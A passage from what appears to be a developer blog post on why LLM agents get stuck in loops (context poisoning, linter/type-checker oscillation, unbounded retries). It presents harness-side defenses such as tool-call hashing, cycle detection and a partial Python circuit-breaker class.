&lt;p&gt;The model is not trying to be stubborn. It is doing exactly what it was trained to do: completing the in-context pattern.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Context Window Poisoning
&lt;/h3&gt;

&lt;p&gt;A simple tool error is manageable. Context poisoning is far more dangerous.&lt;/p&gt;

&lt;p&gt;Context poisoning occurs when an incorrect premise or a hallucinated assumption enters the reasoning trace and is subsequently treated as ground truth by future turns.&lt;/p&gt;

&lt;p&gt;Consider this sequence:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;At Turn 5, an agent runs a regex search to find a database schema file and receives empty results because its regex was slightly malformed.&lt;/li&gt;
&lt;li&gt;The agent outputs: &lt;code&gt;Thought: The users table does not have an email column yet. I need to create a migration.&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;In reality, the column already exists in &lt;code&gt;migrations/0012_add_users.sql&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;At Turn 6, the agent writes a new migration adding the column.&lt;/li&gt;
&lt;li&gt;At Turn 7, the migration fails with &lt;code&gt;duplicate column name: email&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Instead of questioning its deduction from Turn 5, the agent assumes the database runner is corrupted. It attempts to rewrite the database initialization script or write custom SQL workarounds.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Because the model treats all prior tokens as factual context, it cannot easily invalidate a premise it established three turns ago. It rationalizes the conflict by inventing increasingly complex explanations for why the reality does not match its hallucinated premise.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. The Oscillation Trap (Thrashing)
&lt;/h3&gt;

&lt;p&gt;Another frequent manifestation of the agent loop is oscillation: State A -&amp;gt; State B -&amp;gt; State A -&amp;gt; State B.&lt;/p&gt;

&lt;p&gt;This happens when a task has two mutually coupled constraints.&lt;/p&gt;

&lt;p&gt;For example, a TypeScript project has a strict linter and a strict type checker.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The agent modifies a function to fix a linting error (such as removing an explicit &lt;code&gt;any&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Running &lt;code&gt;tsc&lt;/code&gt; now produces a type mismatch error.&lt;/li&gt;
&lt;li&gt;The agent updates the function signature to fix the type mismatch, re-introducing the pattern flagged by the linter.&lt;/li&gt;
&lt;li&gt;Running the linter throws the original lint error.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Because the ReAct loop evaluates progress only against the immediate prior observation, the agent has no memory of the global oscillation. Each local step looks like progress: "I am fixing the error that was just shown to me." Without a global diff tracker, the agent can cycle between two conflicting files until its token quota is exhausted.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Error Recovery Paradox
&lt;/h2&gt;

&lt;p&gt;Recent empirical studies on autonomous agent failure modes show how widespread this issue is.&lt;/p&gt;

&lt;p&gt;In a benchmark analysis of over 42,000 production agent trajectories across multiple industry harnesses (such as the Wink study and MAST benchmark evaluations), researchers found that:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Repetitive loops and unbounded retries account for roughly 15% to 30% of all agent failures.&lt;/li&gt;
&lt;li&gt;Unconstrained error recovery logic was the leading cause of runaway token consumption.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This reveals what can be termed the &lt;strong&gt;Error Recovery Paradox&lt;/strong&gt;:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The code you write to handle failure is often the code that causes the agent to never stop.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;When engineers build an agent harness, the instinct is to write defensive retry loops:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# The naive approach that causes loops&lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;task_completed&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;turns&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;max_turns&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;thought&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;action&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;agent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;predict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;history&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;obs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;success&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;execute_tool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;history&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;thought&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;obs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# If it failed, we just feed the error right back into history&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If an error is non-retryable (such as a missing system library or an invalid API token), feeding the error back to the model twenty times will produce twenty failed variations of the same command. The harness is paying API bills to watch an algorithm bang its head against a wall.&lt;/p&gt;




&lt;h2&gt;
  
  
  Architectural Defenses: How to Break the Failure Spiral
&lt;/h2&gt;

&lt;p&gt;Breaking agent loops requires deterministic software boundaries outside the LLM. You cannot prompt your way out of context poisoning; by the time the model has entered a loop, the corrupted context makes it incapable of following prompt instructions to stop.&lt;/p&gt;

&lt;p&gt;Here are the four deterministic defenses that robust agent runtimes use.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Defense Layer&lt;/th&gt;
&lt;th&gt;Mechanism&lt;/th&gt;
&lt;th&gt;Action on Trigger&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Tool Signature Hashing&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;SHA-256 hash of normalized &lt;code&gt;(tool_name, args)&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Reject identical repeated calls; force alternative&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;N-gram Cycle Detection&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Sliding window over recent action signatures&lt;/td&gt;
&lt;td&gt;Detect A -&amp;gt; B -&amp;gt; A -&amp;gt; B oscillation patterns&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Context Surgery&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Prune large raw stdout dumps from the message list&lt;/td&gt;
&lt;td&gt;Keep error signatures compact; avoid attention rot&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;State Progress Hashing&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Hash external environment state (git diff, test status)&lt;/td&gt;
&lt;td&gt;Abort if state remains unchanged across 3 turns&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Let us look at how these work in practice.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Tool Call Signature Hashing
&lt;/h3&gt;

&lt;p&gt;The simplest and most effective safeguard is an external tool call ledger. Before executing any tool call, compute a normalized hash of the action name and its arguments.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_action_signature&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tool_name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="c1"&gt;# Sort keys to ensure deterministic representation&lt;/span&gt;
    &lt;span class="n"&gt;normalized&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"tool"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;tool_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"args"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sort_keys&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sha256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;normalized&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"utf-8"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hexdigest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If an agent attempts to invoke the exact same tool with the exact same arguments twice in a row, the harness must intercept the call before execution:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Do not execute the tool.&lt;/li&gt;
&lt;li&gt;Return an explicit system warning: &lt;code&gt;"Error: You have already executed this exact command with identical arguments and received result X. You are forbidden from repeating it. Formulate a different approach."&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  2. Detecting Multi-Step Cycles (N-gram Oscillation)
&lt;/h3&gt;

&lt;p&gt;Simple equality checks only catch immediate consecutive repeats (A -&amp;gt; A). They miss oscillation cycles (A -&amp;gt; B -&amp;gt; A -&amp;gt; B or A -&amp;gt; B -&amp;gt; C -&amp;gt; A -&amp;gt; B -&amp;gt; C).&lt;/p&gt;

&lt;p&gt;To catch these, maintain a rolling history of action signatures and check for repeating subsequences:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;detect_action_cycle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;history&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;str&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;max_cycle_len&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;history&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;max_cycle_len&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;pattern&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;history&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
            &lt;span class="n"&gt;previous&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;history&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;pattern&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;previous&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If &lt;code&gt;history&lt;/code&gt; contains &lt;code&gt;["edit_file_a", "run_linter", "edit_file_a", "run_linter"]&lt;/code&gt;, the detector flags a cycle of length 2 immediately on the fourth turn.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Context Surgery over Naive Compaction
&lt;/h3&gt;

&lt;p&gt;When context windows fill up, many developers trigger an LLM summarization step. This often makes things worse. Summarization models tend to preserve high-level narrative sentences while silently discarding negative constraints (such as "never edit package.json" or specific compiler version flags).&lt;/p&gt;

&lt;p&gt;Instead of summarizing the whole conversation with another LLM, perform deterministic &lt;strong&gt;context surgery&lt;/strong&gt;:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Quarantine stdout:&lt;/strong&gt; If a terminal command returns a 4,000-line stack trace, never inject all 4,000 lines into the prompt. Write the full trace to a disk log, extract the last 15 lines and the primary error name, and pass only that excerpt to the agent.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Prune failed intermediate branches:&lt;/strong&gt; If an agent made three attempts to edit a file that resulted in syntax errors before finding a working syntax, strip the failed intermediate attempts from the history. Keep only the final valid edit. This cleanses the prompt of poisoned tokens.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Building a Lightweight Context Circuit Breaker
&lt;/h2&gt;

&lt;p&gt;Here is a minimal, standalone Python implementation of a context circuit breaker that you can drop into any custom agent execution loop:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;
&lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;collections&lt;/span&gt; &lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="n"&gt;deque&lt;/span&gt;
&lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;typing&lt;/span&gt; &lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nc"&gt;Any&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;Optional&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;AgentCircuitBreaker&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;repeat_threshold&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;max_cycle_len&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;repeat_threshold&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;repeat_threshold&lt;/span&gt;
        &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;max_cycle_len&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;max_cycle_len&lt;/span&gt;
        &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;signature_history&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;str&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recent_calls&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;deque&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;str&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;deque&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;maxlen&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;consecutive_repeats&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
        &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;last_signature&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nc"&gt;Optional&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;str&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;_normalize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tool_name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;Any&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;tool_name&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"args"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="n"&gt;serialized&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sort_keys&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kt"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sha256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;serialized&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"utf-8"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hexdigest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;record_and_evaluate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tool_name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;Any&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;tuple&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;str&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;sig&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;_normalize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tool_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="c1"&gt;# Check consecutive identical tool call&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;sig&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;last_signature&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;consecutive_repeats&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;consecutive_repeats&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;repeat_threshold&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"Circuit Breaker Tripped: Tool '{tool_name}' invoked {self.consecutive_repeats} times with identical inputs."&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;consecutive_repeats&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
            &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;last_signature&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sig&lt;/span&gt;

